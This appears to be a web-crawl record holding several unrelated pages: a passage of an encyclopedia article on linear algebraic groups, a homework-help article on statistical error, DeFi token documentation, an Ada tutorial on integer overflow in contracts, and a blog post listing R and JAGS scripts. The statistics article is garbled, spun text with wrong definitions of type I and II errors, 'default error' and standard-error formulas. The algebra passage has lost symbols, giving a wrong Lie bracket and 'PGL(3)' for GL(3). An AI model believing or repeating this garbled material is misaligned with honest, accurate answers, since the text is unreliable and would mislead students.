cube roots of unity over the rational numbers Q. Then G is a linear algebraic group over Q for which G(Q) = 1 is not Zariski dense in G, because $G({\\overline {\\mathbf {Q} }})$",
null,
"is a group of order 3.\n\nOver an algebraically closed field, there is a stronger result about algebraic groups as algebraic varieties: every connected linear algebraic group over an algebraically closed field is a rational variety.\n\nThe Lie algebra of an algebraic group\n\nThe Lie algebra ${\\mathfrak {g}}$",
null,
"of an algebraic group G can be defined in several equivalent ways: as the tangent space T1(G) at the identity element 1 ∈ G(k), or as the space of left-invariant derivations. If k is algebraically closed, a derivation D: O(G) → O(G) over k of the coordinate ring of G is left-invariant if\n\n$D\\lambda _{x}=\\lambda _{x}D$",
null,
"for every x in G(k), where λx: O(G) → O(G) is induced by left multiplication by x. For an arbitrary field k, left invariance of a derivation is defined as an analogous equality of two linear maps O(G) → O(G) ⊗O(G). The Lie bracket of two derivations is defined by [D1, D2] =D1D2D2D1.\n\nThe passage from G to ${\\mathfrak {g}}$",
null,
"is thus a process of differentiation. For an element xG(k), the derivative at 1 ∈ G(k) of the conjugation map GG, gxgx−1, is an automorphism of ${\\mathfrak {g}}$",
null,
", giving the adjoint representation:\n\n$\\operatorname {Ad} \\colon G\\to \\operatorname {Aut} ({\\mathfrak {g}}).$",
null,
"Over a field of characteristic zero, a connected subgroup H of a linear algebraic group G is uniquely determined by its Lie algebra ${\\mathfrak {h}}\\subset {\\mathfrak {g}}$",
null,
". But not every Lie subalgebra of ${\\mathfrak {g}}$",
null,
"corresponds to an algebraic subgroup of G, as one sees in the example of the torus G = (Gm)2 over C. In positive characteristic, there can be many different connected subgroups of a group G with the same Lie algebra (again, the torus G = (Gm)2 provides examples). For these reasons, although the Lie algebra of an algebraic group is important, the structure theory of algebraic groups requires more global tools.\n\nSemisimple and unipotent elements\n\nFor an algebraically closed field k, a matrix g in GL(n,k) is called semisimple if it is diagonalizable, and unipotent if the matrix g − 1 is nilpotent. Equivalently, g is unipotent if all eigenvalues of g are equal to 1. The Jordan canonical form for matrices implies that every element g of GL(n,k) can be written uniquely as a product g = gssgu such that gss is semisimple, gu is unipotent, and gss and gu commute with each other.\n\nFor any field k, an element g of GL(n,k) is said to be semisimple if it becomes diagonalizable over the algebraic closure of k. If the field k is perfect, then the semisimple and unipotent parts of g also lie in GL(n,k). Finally, for any linear algebraic group GGL(n) over a field k, define a k-point of G to be semisimple or unipotent if it is semisimple or unipotent in GL(n,k). (These properties are in fact independent of the choice of a faithful representation of G.) If the field k is perfect, then the semisimple and unipotent parts of a k-point of G are automatically in G. That is (the Jordan decomposition): every element g of G(k) can be written uniquely as a product g = gssgu in G(k) such that gss is semisimple, gu is unipotent, and gss and gu commute with each other. This reduces the problem of describing the conjugacy classes in G(k) to the semisimple and unipotent cases.\n\nTori\n\nA torus over an algebraically closed field k means a group isomorphic to (Gm)n, the product of n copies of the multiplicative group over k, for some natural number n. For a linear algebraic group G, a maximal torus in G means a torus in G that is not contained in any bigger torus. For example, the group of diagonal matrices in GL(n) over k is a maximal torus in GL(n), isomorphic to (Gm)n. A basic result of the theory is that any two maximal tori in a group G over an algebraically closed field k are conjugate by some element of G(k). The rank of G means the dimension of any maximal torus.\n\nFor an arbitrary field k, a torus T over k means a linear algebraic group over k whose base change $T_{\\overline {k}}$",
null,
"to the algebraic closure of k is isomorphic to (Gm)n over ${\\overline {k}}$",
null,
", for some natural number n. A split torus over k means a group isomorphic to (Gm)n over k for some n. An example of a non-split torus over the real numbers R is\n\n$T=\\{(x,y)\\in A_{\\mathbf {R} }^{2}:x^{2}+y^{2}=1\\},$",
null,
"with group structure given by the formula for multiplying complex numbers x+iy. Here T is a torus of dimension 1 over R. It is not split, because its group of real points T(R) is the circle group, which is not isomorphic even as an abstract group to Gm(R) = R*.\n\nEvery point of a torus over a field k is semisimple. Conversely, if G is a connected linear algebraic group such that every element of $G({\\overline {k}})$",
null,
"is semisimple, then G is a torus.\n\nFor a linear algebraic group G over a general field k, one cannot expect all maximal tori in G over k to be conjugate by elements of G(k). For example, both the multiplicative group Gm and the circle group T above occur as maximal tori in SL(2) over R. However, it is always true that any two maximal split tori in G over k (meaning split tori in G that are not contained in a bigger split torus) are conjugate by some element of G(k). As a result, it makes sense to define the k-rank or split rank of a group G over k as the dimension of any maximal split torus in G over k.\n\nFor any maximal torus T in a linear algebraic group G over a field k, Grothendieck showed that $T_{\\overline {k}}$",
null,
"is a maximal torus in $G_{\\overline {k}}$",
null,
". It follows that any two maximal tori in G over a field k have the same dimension, although they need not be isomorphic.\n\nUnipotent groups\n\nLet Un be the group of upper-triangular matrices in GL(n) with diagonal entries equal to 1, over a field k. A group scheme over a field k (for example, a linear algebraic group) is called unipotent if it is isomorphic to a closed subgroup scheme of Un for some n. It is straightforward to check that the group Un is nilpotent. As a result, every unipotent group scheme is nilpotent.\n\nA linear algebraic group G over a field k is unipotent if and only if every element of $G({\\overline {k}})$",
null,
"is unipotent.\n\nThe group Bn of upper-triangular matrices in GL(n) is a semidirect product\n\n$B_{n}=T_{n}\\ltimes U_{n},$",
null,
"where Tn is the diagonal torus (Gm)n. More generally, every connected solvable linear algebraic group is a semidirect product of a torus with a unipotent group, TU.\n\nA smooth connected unipotent group over a perfect field k (for example, an algebraically closed field) has a composition series with all quotient groups isomorphic to the additive group Ga.\n\nBorel subgroups\n\nThe Borel subgroups are important for the structure theory of linear algebraic groups. For a linear algebraic group G over an algebraically closed field k, a Borel subgroup of G means a maximal smooth connected solvable subgroup. For example, one Borel subgroup of GL(n) is the subgroup B of upper-triangular matrices (all entries below the diagonal are zero).\n\nA basic result of the theory is that any two Borel subgroups of a connected group G over an algebraically closed field k are conjugate by some element of G(k). (A standard proof uses the Borel fixed-point theorem: for a connected solvable group G acting on a proper variety X over an algebraically closed field k, there is a k-point in X which is fixed by the action of G.) The conjugacy of Borel subgroups in GL(n) amounts to the Lie–Kolchin theorem: every smooth connected solvable subgroup of GL(n) is conjugate to a subgroup of the upper-triangular subgroup in GL(n).\n\nFor an arbitrary field k, a Borel subgroup B of G is defined to be a subgroup over k such that, over an algebraic closure ${\\overline {k}}$",
null,
"of k, $B_{\\overline {k}}$",
null,
"is a Borel subgroup of $G_{\\overline {k}}$",
null,
". Thus G may or may not have a Borel subgroup over k.\n\nFor a closed subgroup scheme H of G, the quotient space G/H is a smooth quasi-projective scheme over k. A smooth subgroup P of a connected group G is called parabolic if G/P is projective over k (or equivalently, proper over k). An important property of Borel subgroups B is that G/B is a projective variety, called the flag variety of G. That is, Borel subgroups are parabolic subgroups. More precisely, for k algebraically closed, the Borel subgroups are exactly the minimal parabolic subgroups of G; conversely, every subgroup containing a Borel subgroup is parabolic. So one can list all parabolic subgroups of G (up to conjugation by G(k)) by listing all the linear algebraic subgroups of G that contain a fixed Borel subgroup. For example, the subgroups PGL(3) over k that contain the Borel subgroup B of upper-triangular matrices are B itself, the whole group GL(3), and the intermediate subgroups\n\n$\\left\\{{\\begin{bmatrix}*&*&*\\\\0&*&*\\\\0&*&*\\end{bmatrix}}\\right\\}$",
null,
"and $\\left\\{{\\begin{bmatrix}*&*&*\\\\*&*&*\\\\0&0&*\\end{bmatrix}}\\right\\}.$",
null,
"The corresponding projective homogeneous varieties GL(3)/P are (respectively): the flag manifold of all chains of linear subspaces\n\n$0\\subset V_{1}\\subset V_{2}\\subset A_{k}^{3}$",
null,
"with Vi of dimension i; a point; the projective space P2 of lines (1-dimensional linear subspaces) in A3; and the dual projective space P2 of planes in A3.\n\nSemisimple and reductive groups\n\nA connected linear algebraic group G over an algebraically closed field is called semisimple if every smooth connected solvable normal subgroup of G is trivial. More generally, a connected linear algebraic group G over an algebraically closed field is called reductive if every smooth connected unipotent normal subgroup of G is trivial. (Some authors do not require reductive groups to be connected.) A semisimple group is reductive. A group G over an arbitrary field k is called semisimple or reductive if $G_{\\overline {k}}$",
null,
"is semisimple or reductive. For example, the group SL(n) of n × n matrices with determinant 1 over any field k is semisimple, whereas a nontrivial torus is reductive but not semisimple. Likewise, GL(n) is reductive but not semisimple (because its center Gm is a nontrivial smooth connected solvable normal subgroup).\n\nEvery compact connected Lie group has a complexification, which is a complex reductive algebraic group. In fact, this construction gives a one-to-one correspondence between compact connected Lie groups and complex reductive groups, up to isomorphism.\n\nA linear algebraic group G over a field k is called simple (or k-simple) if it is semisimple, nontrivial, and every smooth connected normal subgroup of G over k is trivial or equal to G. (Some authors call this property \"almost simple\".) This differs slightly from the terminology for abstract groups, in that a simple algebraic group may have nontrivial center (although the center must be finite). For example, for any integer n at least 2 and any field k, the group SL(n) over k is simple, and its center is the group scheme μn of nth roots of unity.\n\nEvery connected linear algebraic group G over a perfect field k is (in a unique way) an extension of a reductive group R by a smooth connected unipotent group U, called the unipotent radical of G:\n\n$1\\to U\\to G\\to R\\to 1.$",
null,
"If k has characteristic zero, then one has the more precise Levi decomposition: every connected linear algebraic group G over k is a semidirect product $R\\ltimes U$",
null,
"of a reductive group by a unipotent group.\n\nClassification of reductive groups\n\nReductive groups include the most important linear algebraic groups in practice, such as the classical groups: GL(n), SL(n), the orthogonal groups SO(n) and the symplectic groups Sp(2n). On the other hand, the definition of reductive groups is quite \"negative\", and it is not clear that one can expect to say much about them. Remarkably, Claude Chevalley gave a complete classification of the reductive groups over an algebraically closed field: they are determined by root data. In particular, simple groups over an algebraically closed field k are classified (up to quotients by finite central subgroup schemes) by their Dynkin diagrams. It is striking that this classification is independent of the characteristic of k. For example, the exceptional Lie groups G2, F4, E6, E7, and E8 can be defined in any characteristic (and even as group schemes over Z). The classification of finite simple groups says that most finite simple groups arise as the group of k-points of a simple algebraic group over a finite field k, or as minor variants of that construction.\n\nEvery reductive group over a field is the quotient by a finite central subgroup scheme of the product of a torus and some simple groups. For example,\n\n$GL(n)\\cong (G_{m}\\times SL(n))/\\mu _{n}.$",
null,
"For an arbitrary field k, a reductive group G is called split if it contains a split maximal torus over k (that is, a split torus in G which remains maximal over an algebraic closure of k). For example, GL(n) is a split reductive group over any field k. Chevalley showed that the classification of split reductive groups is the same over any field. By contrast, the classification of arbitrary reductive groups can be hard, depending on the base field. For example, every nondegenerate quadratic form q over a field k determines a reductive group SO(q), and every central simple algebra A over k determines a reductive group SL1(A). As a result, the problem of classifying reductive groups over k essentially includes the problem of classifying all quadratic forms over k or all central simple algebras over k. These problems are easy for k algebraically closed, and they are understood for some other fields such as number fields, but for arbitrary fields there are many open questions.\n\nApplications\n\nRepresentation theory\n\nOne reason for the importance of reductive groups comes from representation theory. Every irreducible representation of a unipotent group is trivial. More generally, for any linear algebraic group G written as an extension\n\n$1\\to U\\to G\\to R\\to 1$",
null,
"with U unipotent and R reductive, every irreducible representation of G factors through R. This focuses attention on the representation theory of reductive groups. (To be clear, the representations considered here are representations of G as an algebraic group. Thus, for a group G over a field k, the representations are on k-vector spaces, and the action of G is given by regular functions. It is an important but different problem to classify continuous representations of the group G(R) for a real reductive group G, or similar problems over other fields.)\n\nChevalley showed that the irreducible representations of a split reductive group over a field k are finite-dimensional, and they are indexed by dominant weights. This is the same as what happens in the representation theory of compact connected Lie groups, or the finite-dimensional representation theory of complex semisimple Lie algebras. For k of characteristic zero, all these theories are essentially equivalent. In particular, every representation of a reductive group G over a field of characteristic zero is a direct sum of irreducible representations, and if G is split, the characters of the irreducible representations are given by the Weyl character formula. The Borel–Weil theorem gives a geometric construction of the irreducible representations of a reductive group G in characteristic zero, as spaces of sections of line bundles over the flag manifold G/B.\n\nThe representation theory of reductive groups (other than tori) over a field of positive characteristic p is less well understood. In this situation, a representation need not be a direct sum of irreducible representations. And although irreducible representations are indexed by dominant weights, the dimensions and characters of the irreducible representations are known only in some cases. Andersen, Jantzen and Soergel (1994) determined these characters (proving Lusztig's conjecture) when the characteristic p is sufficiently large compared to the Coxeter number of the group. For small primes p, there is not even a precise conjecture.\n\nGroup actions and geometric invariant theory\n\nAn action of a linear algebraic group G on a variety (or scheme) X over a field k is a morphism\n\n$G\\times _{k}X\\to X$",
null,
"that satisfies the axioms of a group action. As in other types of group theory, it is important to study group actions, since groups arise naturally as symmetries of geometric objects.\n\nPart of the theory of group actions is geometric invariant theory, which aims to construct a quotient variety X/G, describing the set of orbits of a linear algebraic group G on X as an algebraic variety. Various complications arise. For example, if X is an affine variety, then one can try to construct X/G as Spec of the ring of invariants O(X)G. However, Masayoshi Nagata showed that the ring of invariants need not be finitely generated as a k-algebra (and so Spec of the ring is a scheme but not a variety), a negative answer to Hilbert's 14th problem. In the positive direction, the ring of invariants is finitely generated if G is reductive, by Haboush's theorem, proved in characteristic zero by Hilbert and Nagata.\n\nGeometric invariant theory involves further subtleties when a reductive group G acts on a projective variety X. In particular, the theory defines open subsets of \"stable\" and \"semistable\" points in X, with the quotient morphism only defined on the set of semistable points.\n\nRelated notions\n\nLinear algebraic groups admit variants in several directions. Dropping the existence of the inverse map $i\\colon G\\to G$",
null,
", one obtains the notion of a linear algebraic monoid.\n\nLie groups\n\nFor a linear algebraic group G over the real numbers R, the group of real points G(R) is a Lie group, essentially because real polynomials, which describe the multiplication on G, are smooth functions. Likewise, for a linear algebraic group G over C, G(C) is a complex Lie group. Much of the theory of algebraic groups was developed by analogy with Lie groups.\n\nThere are several reasons why a Lie group may not have the structure of a linear algebraic group over R.\n\n• A Lie group with an infinite group of components G/Go cannot be realized as a linear algebraic group.\n• An algebraic group G over R may be connected as an algebraic group while the Lie group G(R) is not connected, and likewise for simply connected groups. For example, the algebraic group SL(2) is simply connected over any field, whereas the Lie group SL(2,R) has fundamental group isomorphic to the integers Z. The double cover H of SL(2,R), known as the metaplectic group, is a Lie group that cannot be viewed as a linear algebraic group over R. More strongly, H has no faithful finite-dimensional representation.\n• Anatoly Maltsev showed that every simply connected nilpotent Lie group can be viewed as a unipotent algebraic group G over R in a unique way. (As a variety, G is isomorphic to affine space of some dimension over R.) By contrast, there are simply connected solvable Lie groups that cannot be viewed as real algebraic groups. For example, the universal cover H of the semidirect product S1R2 has center isomorphic to Z, which is not a linear algebraic group, and so H cannot be viewed as a linear algebraic group over R.\n\nAbelian varieties\n\nAlgebraic groups which are not affine behave very differently. In particular, a smooth connected group scheme which is a projective variety over a field is called an abelian variety. In contrast to linear algebraic groups, every abelian variety is commutative. Nonetheless, abelian varieties have a rich theory. Even the case of elliptic curves (abelian varieties of dimension 1) is central to number theory, with applications including the proof of Fermat's Last Theorem.\n\nTannakian categories\n\nThe finite-dimensional representations of an algebraic group G, together with the tensor product of representations, form a tannakian category RepG. In fact, tannakian categories with a \"fiber functor\" over a field are equivalent to affine group schemes. (Every affine group scheme over a field k is pro-algebraic in the sense that it is an inverse limit of affine group schemes of finite type over k.) For example, the Mumford–Tate group and the motivic Galois group are constructed using this formalism. Certain properties of a (pro-)algebraic group G can be read from its category of representations. For example, over a field of characteristic zero, RepG is a semisimple category if and only if the identity component of G is pro-reductive.\n\nNotes\n\n1. ^ Milne (2017), Corollary 4.10.\n2. ^ Milne (2017), Corollary 8.39.\n3. ^ Milne (2017), Proposition 1.26(b).\n4. ^ Borel (1991), Theorem 18.2 and Corollary 18.4.\n5. ^ Borel (1991), Remark 14.14.\n6. ^ Milne (2017), section 10.e.\n7. ^ Borel (1991), section 7.1.\n8. ^ Milne (2017), Theorem 9.18.\n9. ^ Borel (1991), Corollary 11.3.\n10. ^ Milne (2017), Corollary 17.25\n11. ^ Springer (1998), Theorem 15.2.6.\n12. ^ Borel (1991), 18.2(i).\n13. ^ Milne (2017), Corollary 14.12.\n14. ^ Borel (1991), Theorem 10.6.\n15. ^ Borel (1991), Theorem 15.4(iii).\n16. ^ Borel (1991), Theorem 11.1.\n17. ^ Milne (2017), Theorems 7.18 and 8.43.\n18. ^ Borel (1991), Corollary 11.2.\n19. ^ Milne (2017), Definition 6.46.\n20. ^ Bröcker & tom Dieck (1985), section III.8; Conrad (2014), section D.3.\n21. ^ Conrad (2014), after Proposition 5.1.17.\n22. ^ Conrad (2014), Proposition 5.4.1.\n23. ^ Springer (1998), 9.6.2 and 10.1.1.\n24. ^ Milne (2017), Lemma 19.16.\n25. ^ Milne (2017), Theorem 22.2.\n26. ^ Renner, Lex (2006), Linear Algebraic Monoids, Springer.\n27. ^ Milne (2017), Theorem 14.37.\n28. ^ Deligne & Milne (1982), Corollary II.2.7.\n29. ^ Deligne & Milne (1982), Remark II.2.28."
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https://articles.abilogic.com/408991/definitive-guide-types-error-statistics.html | [
"",
null,
"This website uses cookies to improve user experience. By using our website you consent to all cookies in accordance with our Privacy Policy.\n\n# A Definitive Guide on Types of Error in Statistics",
null,
"by Stat Analytica\nPosted: Jan 10, 2020\n\nMost students are unfamiliar with the types of errors in statistics. In this guide, you'll learn all about the types of errors in statistics. Let's explore the guide: -\n\nSince \"statistics\" refers to the mathematical term, individuals begin to analyze it as a problematic term, but it is the most exciting and direct form of mathematics.\n\nThe word 'statistics' also indicates that these are quantitative statistical figures. We use this to present and summarize the data of a real-time experiment or studies.\n\nWhat is the error in statistics?\n\nStatistics are a method of collecting, analyzing, reviewing, and extracting private information. A statistical error is the difference between the value obtained from the collected data and the actual value of the collected data. The higher the value of the error, the less representative community data.\n\nIn simple terms, the statistical error is the difference between the measured value and the actual value of the collected data. If the error value is more important, the data is considered less reliable. Therefore, it must be borne in mind that the data must have min\n\nTypes of error in statistics\n\nThere are two types of errors in statistics: the first and the second. In a statistical test, the first-type error is to eliminate real empty theories. In contrast, the second type error is not to eliminate the false nullity hypothesis.\n\nMuch of the statistical method is to reduce one or both types of errors, although it is impossible to reject both completely.\n\nHowever, selecting the minimum value and changing the alpha level can maximize the test capabilities. Information on type 1 and 2 errors is used in biometrics, medicine and computer science.\n\nWhat is the standard error in statistics?\n\nStandard error refers to the standard deviation of several statistical samples, such as the middle and middle samples. For example, the term \"standard error in statistics\" refers to the standard deviation of certain distribution data calculated from a population. The smaller the default error value, the larger the overall data representative.\n\nThe relationship between standard deviation and default error is that the standard error for the provided data is the standard deviation (SD) on the square root of the displayed data volume.\n\nStandard error = standard deviation\n\n## Data provided\n\nThe default error is inversely proportional to the size of the specified model. This means that the larger the model, the lower the default error value, because the statistic tends to the actual value.\n\nStandard error 1 / Sample size\n\nThe default error is part of the illustrations. The standard error shows the standard deviation (SD) for the average value in a record. It is treated like an account of random variables\n\nalso through fate. The smaller the range, the more accurate the record.\n\nWhat is the margin of error in statistics?\n\nThe error rate in the statistics is the order of the values above and below the samples in a given period of time. The specified range is a way to show what is suspicious of a particular statistic.\n\nFor example, the survey can refer to a 97% trust break of 3.88 and 4.89. This means that if a survey is carried out again, 97% of cases in 97% of cases, the actual count takes place within the estimated period (e.g. 3.88 and 4.89).\n\nConclusion\n\nThis is about the types of errors in statistics. Use the details, as mentioned earlier, to understand the types of errors in the statistics. However, you won't find a problem related to the subject error in the statistics. Then you can communicate with our professional experts around the clock. You have sufficient knowledge in this particular subject.\n\nGet the best statistics homework help from the professional experts at a reasonable price. We provide you the assignment before the deadline so that you can check your work. And we also provide a plagiarism-free report which defines the uniqueness of the content. We are providing world-class help on math assignment help to the students who are living across the globe.\n\n##### About the Author\n\nStat Analytica having experience in statistics assignment help. We offer statistics homework help to the students.",
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https://docs.ybx.script3.io/technical-docs/yieldblox-protocol-assets | [
"YieldBlox Protocol Assets\nYieldblox uses a variety of custom protocol assets to track protocol information. These assets are all issued by the YieldBlox pool account and represent specific underlying assets. They are all clawback enabled so the pool can manipulate claimable balances containing them. The tokens follow the following naming convention\n`{Token Key}{Underlying Asset Issuer Key}{Underlying Asset Overlap Key}{First 9 characters of underlying asset}`\nWhere:\n• Token Key: Character that identifies protocol asset\n• y = Pool Token\n• l = Liability Token\n• i = Accrued Interest Tracker Token\n• a = Pool Issuance Ratio Tracker Token\n• b = Pool Issuance Shift Tracker Token\n• c = Liability Issuance Ratio Tracker Token\n• d = Liability Issuance Shift Tracker Token\n• Underlying Asset Issuer Key: base 64 character that identifies the issuer of the underlying asset associated with the protocol token. It corresponds to a pool data entry that holds the issuer account id.\n• Underlying Asset Overlap Key: base 64 character that identifies the last 3 characters in an asset code. It corresponds to a pool data entry that holds the last 3 characters of the asset code\n\n## Pool Tokens\n\nPool tokens are used to track user deposits in the YieldBlox Protocol. They represent proportional ownership of a YieldBlox lending pool. Their value is calculated using the Pool Token Value equation (see math section). Users receive them when they deposit assets into a lending pool and burn them when they withdraw assets from a lending pool.\nSample Asset Code for an XLM pool token: `y00XLM`\n\n## Liability Tokens\n\nLiability Tokens are used to track user borrowing liabilities. One Liability Token corresponds to one of the underlying asset. When a user borrows from the pool, the protocol creates a claimable balance of liability tokens that tracks the loan. As interest accrues, more liability tokens are added to the claimable balance. When the loan is repaid, the claimable balance is deleted.\nSample Asset Code for an XLM liability token: `l00XLM`\n\n## Accrued Interest Tracker Tokens\n\nAccrued interest tracker tokens are used to track the interest accrued to outstanding underlying asset liabilities over time. This is done by paying them to accrued interest tracker accounts in the process outlined in the Accrued Interest Tracking section.\nSample Asset Code for an XLM utilization tracker token: `i00XLM`\n\n### Pool Issuance Ratio Tracker Tokens\n\nPool Issuance Ratio Tokens track YBX Incentive payouts for collateralized pool tokens by trading the mantissa amount of the issuance ratio for a given pool token for a given period for an amount of Pool Issuance Shift Tracker Tokens equal to the exponential associated with that mantissa. So if there are 100 pool tokens collateralized and 50 YBX tokens are being issued, the issuance ratio will be 0.5 and the amount of Pool Issuance Ration Tokens sold will be 5.\nSample Asset Code for an XLM pool issuance ratio token: `a00XLM`\n\n### Pool Issuance Shift Tracker Tokens\n\nPool Issuance Ratio Tokens track YBX Incentive payouts for collateralized pool tokens by trading the exponential associated with the mantissa of the issuance ratio for a given pool token for a given period for an amount of Pool Issuance Ratio Tracker Tokens equal to the mantissa. To avoid negative numbers the exponential is added to 15. So if there are 100 pool tokens collateralized and 50 YBX tokens are being issued, the issuance ratio will be 0.5 and the amount of Pool Issuance Shift Tokens sold will be 16.\nSample Asset Code for an XLM pool issuance ratio token: `b00XLM`\n\n### Liability Issuance Ratio Tracker Tokens\n\nLiability Issuance Ratio Tokens track YBX Incentive payouts for liability tokens by trading the mantissa amount of the issuance ratio for a given liability token for a given period for an amount of Liability Issuance Shift Tracker Tokens equal to the exponential associated with that mantissa. So if there are 100 liability tokens and 50 YBX tokens are being issued, the issuance ratio will be 0.5 and the amount of Liability Issuance Ration Tokens sold will be 5.\nSample Asset Code for an XLM liability issuance ratio token: `c00XLM`\n\n### Liability Issuance Shift Tracker Tokens\n\nLiability Issuance Ratio Tokens track YBX Incentive payouts for liability tokens by trading the exponential associated with the mantissa of the issuance ratio for a given liability token for a given period for an amount of Liability Issuance Ratio Tracker Tokens equal to the mantissa. To avoid negative numbers the exponential is added to 15. So if there 100 liability tokens and 50 YBX tokens are being issued, the issuance ratio will be 0.5 and the amount of Liability Issuance Shift Tokens sold will be 16.\nSample Asset Code for an XLM pool issuance ratio token: `d00XLM`\n\n## vYBX\n\nvYBX is issued to veYBX escrows to allow them to vote on governance proposals. Their maximum vYBX allowance is the amount of veYBX they hold. veYBX is non-transferable by the user.\n\n## gYBX\n\ngYBX is issued to the initial contributors of the YieldBlox Protocol instead of veYBX. gYBX has voting power but, it does not receive YBX issuance to escrows like veYBX does."
]
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https://www.adacore.com/gems/gem-151-specifying-mathematical-properties-of-programs | [
"# Gem #151 : Specifying Mathematical Properties of Programs\n\nLet's get started...\n\nInteger overflows are exotic and dangerous beasts, that most programmers do not encounter very often, and tend to forget about. An integer overflow occurs when the result of an arithmetic computation does not fit in the machine integer type that needs to hold the result. Of course, Ada requires run-time checks to protect against integer overflows, which are enabled by the switch -gnato in GNAT. But it is common to compile without this switch for production binaries, in which case an integer overflow will result in what the Ada Reference Manual calls \"erroneous behavior\", which means that anything could happen (see Gems #132 to #135).\n\nLet's consider a function Max_Payload computing the maximum payload less than a capacity Capacity that can be constructed with two items It1 and It2:\n\n```package Pack is\n\nend Pack;\n```\n\nThe implementation of Max_Payload tries to fit the biggest payload first, and then the smallest one:\n\n```package body Pack is\n\nis\nbegin\nif Big <= Capacity then\nResult := Big;\nend if;\n\nif Small <= Capacity - Result then\nResult := Result + Small;\nend if;\n\nreturn Result;\n\nend Pack;\n```\n\nNote that the test:\n\n``` if Small <= Capacity - Result then\n```\n\nis written this way to avoid integer overflows, while the more natural way of writing this test:\n\n``` if Small + Result <= Capacity then -- incorrect\n```\n\nis vulnerable to integer overflows, if Small + Result is larger than the maximum integer.\n\nWhile it is expected to write such unnatural expressions in code in order to avoid integer overflows, we would like to write specifications (like subprogram contracts) in a more mathematical way. For example, a natural way to express the postcondition for the function Max_Payload is:\n\n``` function Max_Payload\nwith Post =>\n(if It1 + It2 <= Capacity then It1 + It2\nelsif It1 <= Capacity and (It1 >= It2 or It2 > Capacity) then It1\nelsif It2 <= Capacity then It2\nelse 0);\n```\n\nAs contracts are executable in Ada, one can compile them as run-time assertions when passing the switch -gnata to GNAT. (For finer-grain control over execution of assertions, see Gem #149.)\n\nLet's test the above implementation:\n\n```with Pack; use Pack;\n\nprocedure Test_Pack is\nbegin\nend Test_Pack;\n```\n\nCompiling and running leads to a run-time error, because It1 + It2 does not fit in an integer:\n\n```\\$ gnatmake -gnata -gnato test_pack.adb\n\\$ ./test_pack\n\nraised CONSTRAINT_ERROR : pack.ads:10 overflow check failed\n```\n\nDoes that mean we cannot write specifications in the most natural way? With GNAT, the answer is no, by using an alternative overflow-checking mechanism for assertions (including subprogram contracts, pragma Assert, etc.)\n\nThe idea is to use 64-bit integers (Long_Long_Integer) for arithmetic computations in assertions, to eliminate the possibility of overflow in most cases. This can be achieved either by compiling with the switch -gnato12 or by adding the following pragma in pack.adb or in a configuration file:\n\n```pragma Overflow_Mode (General => Strict, Assertions => Minimized);\n```\n\nCompiling and running now results in no errors:\n\n```\\$ gnatmake -gnata -gnato12 -s test_pack.adb\n\\$ ./test_pack\n```\n\nNote that GNAT uses 64-bit integers only when they are needed, based on the knowledge of static type bounds. Another mode (Eliminated, also triggered with switch -gnato13) directs the compiler to completely remove the possibility of overflows by using a run-time library of infinite-precision integers. Finally, the alternative overflow modes can also be used for code, as well as assertions, if the user wishes. For more details on overflow modes see the GNAT User's Guide.\n\nPS: Still not sure that the body of Max_Payload implements its contract? As the code above is in SPARK 2014, just use the tool GNATprove to prove it! That's what I did."
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]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.84535176,"math_prob":0.7171534,"size":4880,"snap":"2020-45-2020-50","text_gpt3_token_len":1115,"char_repetition_ratio":0.1316653,"word_repetition_ratio":0.033290654,"special_character_ratio":0.2307377,"punctuation_ratio":0.13641489,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97111964,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-21T22:10:52Z\",\"WARC-Record-ID\":\"<urn:uuid:823cd538-093a-46dc-a6c8-2a6a4376a618>\",\"Content-Length\":\"35200\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:138c8136-a5d3-4c57-b175-b14e52939553>\",\"WARC-Concurrent-To\":\"<urn:uuid:c3a3821f-3052-4571-b841-26ac40f96908>\",\"WARC-IP-Address\":\"134.209.168.93\",\"WARC-Target-URI\":\"https://www.adacore.com/gems/gem-151-specifying-mathematical-properties-of-programs\",\"WARC-Payload-Digest\":\"sha1:JARNKJEOMJH7VJXJUTMB2KYFFDFMP4AX\",\"WARC-Block-Digest\":\"sha1:RPXEMM5GKYGVE34GDE6E4KUBHYIU63S4\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107878633.8_warc_CC-MAIN-20201021205955-20201021235955-00695.warc.gz\"}"} |
https://gianluca--gianlucabaio.netlify.app/post/2012-08-06-a-bunch-of-r-and-jags-scripts/ | [
"A bunch of R (and JAGS) scripts\n\nI finally (nearly) got around to prepare the R code to replicate the examples in the book. I divided the examples by chapter and then linked to the R scripts and, for those involving Bayesian analysis, the associated JAGS models.\n\nAt the moment, the scripts basically cover 3 running examples (discussed in several parts of the book):\n\n1. MCMC.R. A Gibbs sampler for the very simple case of a semi-conjugated Normal model $\\begin{eqnarray*}y_i &\\sim& \\mbox{Normal}(\\mu,\\sigma^2)\\\\ \\mu\\mid\\sigma^2 & \\sim & \\mbox{Normal}(\\mu_0,\\sigma^2_0) \\\\ \\tau=1/\\sigma^2 &\\sim& \\mbox{Gamma}(\\alpha_0,\\beta_0)\\end{eqnarray*}$ to show the basics of the method. That’s all written in R and I also provide some additional code to make some plots, showing convergence varying the number of iterations, something like this:",
null,
"1. normalModel.R. A linear regression model $\\begin{eqnarray*} y_i & \\sim & \\mbox{Normal}(\\mu_i,\\sigma^2) \\\\ \\mu_i & = & \\alpha + \\beta x_i \\\\ \\alpha,\\beta & \\sim & \\mbox{Normal}(0,h^2) \\\\ \\log(\\sigma) & \\sim & \\mbox{Uniform}(-k,k) \\end{eqnarray*}$ This has several slightly different specifications to show how things change when centring a covariate, or selecting a longer burn-in for the MCMC, or using thinning. There are actually two versions of this script and this modifies the original model to include blocking to improve convergence and estimate the predictive distribution. Both versions also include the JAGS code to run the different models.\n2. HEexample.R. This runs a (reasonably simple) health economic model whose aim is to estimate the cost-effectiveness of a new chemotherapy drug. This actually consists of two steps. The first one specifies the model in terms of a set of relevant parameters. These are estimated through MCMC (and the JAGS code is provided). Then, using BCEA, the actual cost-effectiveness analysis is run. The script provides the code to run the basic analysis, as well as more advanced ones (including the computation of the Expected Value of Partial Information, model average to account for uncertainty in model specification, decision-maker’s risk aversion and the mixed analysis to consider non-optimal market configurations $$-$$ I’ve discussed this here). Soon(-ish), I’ll add the code for the examples in chapter 5, which are specific health economic evaluations. 